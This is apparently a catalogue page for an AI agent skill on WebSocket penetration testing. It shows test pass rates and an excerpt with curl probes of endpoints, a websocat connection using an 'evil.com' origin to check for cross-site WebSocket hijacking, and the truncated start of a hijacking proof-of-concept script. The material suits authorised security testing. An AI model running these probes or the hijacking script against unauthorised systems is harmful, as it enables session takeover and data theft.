Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →WebSocket security testing for cross-site hijacking, message injection, auth bypass, and origin validation flaws.
Use this skill ↓63% 71%+8 ptsof test cases passed
Passed 17 of 24 test cases with the skill, and 15 of 24 without it.
3 of 3 safety checks passed
Not used yet
Exploit WebSocket implementation flaws including cross-site WebSocket hijacking (CSWSH), message injection, and authentication bypass.
# Look for WebSocket upgrade
curl -s -D- https://TARGET/ -H "Upgrade: websocket" -H "Connection: Upgrade"
# Check common paths
for path in /ws /socket /websocket /api/ws /chat /live /realtime; do
curl -s -D- "https://TARGET$path" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" 2>/dev/null | head -1
done
Check if Origin header is validated:
# Connect with evil origin
websocat -H "Origin: https://evil.com" "wss://TARGET/ws"
# If connection succeeds with evil.com origin → CSWSH is possible
PoC HTML:
<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onmessage = function(e) {
Skills that do similar work, with their benchmark result.
Next to this one in the catalogue, plus popular skills in the same category.